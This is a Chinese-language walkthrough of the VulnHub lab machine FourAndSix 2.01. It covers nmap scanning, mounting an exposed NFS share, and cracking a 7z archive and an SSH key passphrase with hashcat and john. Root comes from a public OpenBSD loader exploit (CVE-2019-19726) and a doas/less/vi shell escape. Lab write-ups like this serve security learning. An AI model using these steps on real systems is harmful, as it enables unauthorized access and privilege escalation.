FourAndSix: 2.01 ~ VulnHub
# nmap -sn 192.168.1.0/24 -oN live.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 10:42 CST
Nmap scan report for 192.168.1.1
Host is up (0.00030s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.1.2
Host is up (0.00025s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.78
Host is up (0.00039s latency).
MAC Address: 00:0C:29:B6:28:96 (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00031s latency).
MAC Address: 00:50:56:F7:33:D9 (VMware)
Nmap scan report for 192.168.1.60
Host is up.
探测存活主机的IP地址为192.168.1.78
# nmap -sT --min-rate 10000 -p- 192.168.1.78 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 10:44 CST
Warning: 192.168.1.78 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.1.78
Host is up (0.00042s latency).
Not shown: 62021 filtered tcp ports (no-response), 3511 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
659/tcp open unknown
MAC Address: 00:0C:29:B6:28:96 (VMware)
发现并没有开放http服务,第一次看到这种的靶机,先别慌,先按部就班的探测相信服务信息,观察一下:
# nmap -sT -sC -sV -O -p111,22,659 192.168.1.78 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 10:45 CST
Nmap scan report for 192.168.1.78
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 ef:3b:2e:cf:40:19:9e:bb:23:1e:aa:24:a1:09:4e:d1 (RSA)
| 256 c8:5c:8b:0b:e1:64:0c:75:c3:63:d7:b3:80:c9:2f:d2 (ECDSA)
|_ 256 61:bc:45:9a:ba:a5:47:20:60:13:25:19:b0:47:cb:ad (ED25519)
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3 2049/tcp nfs
| 100003 2,3 2049/udp nfs
| 100005 1,3 659/tcp mountd
|_ 100005 1,3 957/udp mountd
659/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:B6:28:96 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: OpenBSD 6.X
OS CPE: cpe:/o:openbsd:openbsd:6
OS details: OpenBSD 6.0 - 6.4
Network Distance: 1 hop
22端口是ssh,这里就不多说了;111端口是rpcbind 2 ;659 是mountd服务,1-3;其他的信息目前没有;探测一下UDP的端口信息:
# nmap -sU --min-rate 10000 -p- 192.168.1.78 -oN udp.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 10:49 CST
Warning: 192.168.1.78 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.1.78
Host is up (0.00038s latency).
Not shown: 61858 open|filtered udp ports (no-response), 3675 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
2049/udp open nfs
MAC Address: 00:0C:29:B6:28:96 (VMware)
udp端口开放了两个,分别是111端口和2049端口!
# nmap -sT --script=vuln -p22,111,659 192.168.1.78 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 10:49 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.78
Host is up (0.00038s latency).
PORT STATE SERVICE
22/tcp filtered ssh
111/tcp filtered rpcbind
659/tcp filtered unknown
MAC Address: 00:0C:29:B6:28:96 (VMware)
默认的漏洞脚本信息探测的结果可以看作是没什么信息;此时我陷入了迷茫的境地,不知道从哪里入手进行突破!(这里先去看看111端口和659以及2049端口上的各个服务,能否在这几个端口上找到突破点!)
RPC(remote procedure call)远程过程调用!它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议,简单的理解就是一个节点请求另一个节点提供的服务。
RPC协议假定某些传输协议的存在,如TCP或者是UDP,为通信程序之间携带信息数据,在OSI网络通信模型中,RPC跨越了传输层和应用层;
RPC采用了客户端/服务器的模式,请求程序就是一个客户机,而服务提供程序就是一个服务器;
NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源;
在NFS的应用中,本地的NFS客户端应用可以透明的读写位于远端NFS服务器上的文件,就像是访问本地文件一样
NFS适用于Linux和Unix之间实现文件共享,不能实现Linux和windows之间的文件共享功能;
NFS是运行在应用层的协议,其监听于2049/tcp和2049/udp套接字上
NFS服务只能基于IP进行认证!
(PS:大概看到这里我便有了一种思路,靶机上既然开启了NFS,那么我们攻击机是客户端,是不是就能访问到靶机上的文件呢?)
既然靶机上已经开启了NFS,那么我们尝试就是利用kali当作是客户端,来尝试访问靶机上的文件!首先我们在攻击机kali上安装NFS;
apt-get install nfs-common
等待安装完成之后,利用showmount命令进行测试:
-a : 显示指定NFS服务器的所有客户端主机及其所连接的目录
-e : 显示指定的NFS服务器中已被客户端连接的所有输出目录
-d : 显示指定的NFS服务器上所有输出的共享目录
showmount -e 192.168.1.78
可以看到存在一个共享目录是/home/user/storage目录,尝试利用mount命令手动挂载到我们的本地的目录:
mount -t nfs 192.168.1.78:/home/user/storage ./storage
这里首先我在当前的目录下,创建了一个目录 storage:
然后客户端执行的手动挂载命令,将192.168.1.78的nfs服务的共享目录/home/user/storage 挂载到本地./storage目录中:
查看当前的storage目录,发现了backup.7z文件!
尝试下载下来利用7z进行解压!但是存在密码~
尝试利用hashcat进行破解!先7z2john提取出hash:
7z2john backup.7z > hash.txt
然后利用hashcat进行破解:7-Zip对应的hash模式为11600
相关参考资料:hashcat破解压缩包密码(7z/rar/zip) - 哔哩哔哩
最终拿到密码为chocolate!尝试解压文件!
拿到了8个图片和ssh登录的公钥私钥文件!尝试利用公私钥文件进行登录ssh:查看公钥文件拿到了用户为user
尝试利用id_rsa进行登录!
id_rsa文件的权限过高了,修改为600!
修改完之后,再次尝试利用私钥文件进行登录:
但是要输入id_rsa文件的密码,这个密码我们又不知道,再次尝试利用john进行破解!
ssh2john id_rsa > id_rsa_hash
john id_rsa_hash /usr/share/wordlist/rockyou.txt
破解得到密码,这里我没去看图片的隐写,因为比较麻烦,所以先去尝试了直接进行破解,然后破解不成功的话,就需要去看一下图片的隐写了,这里比较幸运,直接破解成功拿到了密码是12345678
再次尝试ssh登录:
最终成功登录进来!准备提权~
当前用户是user,查看/etc/passwd文件,判断是否存在其他可以利用的文件:
发现没有其他常用的用户!内核版本信息发现了OpenBSD 6.4版本,尝试利用searchsploit进行搜索:
发现一个权限提升的漏洞,下载下来尝试能否利用:下载下来的是一个txt文件,这里我直接下载的:
https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass
然后通过NFS上传到storage目录下面了,给执行的权限,尝试执行!
提权成功~ 查看flag文件:
拿到最终的flag文件!
看了红笔大佬的分享,学习一下大佬提权的手法,利用的是doas进行的后续提权!
什么是doas?
doas出现在OpenBSD系统中,这里前面通过uname即可收集到的信息,所以我们需要去关注doas!它类似于sudo!
相关的配置文件出现在/etc/doas.conf文件中!
允许user无密码的情况下,保持环境变量执行 /usr/bin/less 后面加参数 /var/log/authlog 查看这个日志文件,那么我们就按照他说的去执行即可!
doas /usr/bin/less /var/log/authlog
打开之后,按v启动vi编辑器;这个vi编辑器的权限就是less给的权限
按v之后,可进入编辑模式,但是会提示只读,进入编辑模式后,可以通过vi编辑器操作方式,执行系统命令,即:!/bin/sh,此时便会提升到root权限!
这里为什么拿到的backup压缩包中存在着8张看起来没什么用处的图片呢?还记不记得我们id_rsa也是有密码的,输入的密码是什么?(12345678)刚好是12345678,是不是对应着这八张图片呢???这个脑洞稍微有点点大,当作是小彩蛋啦。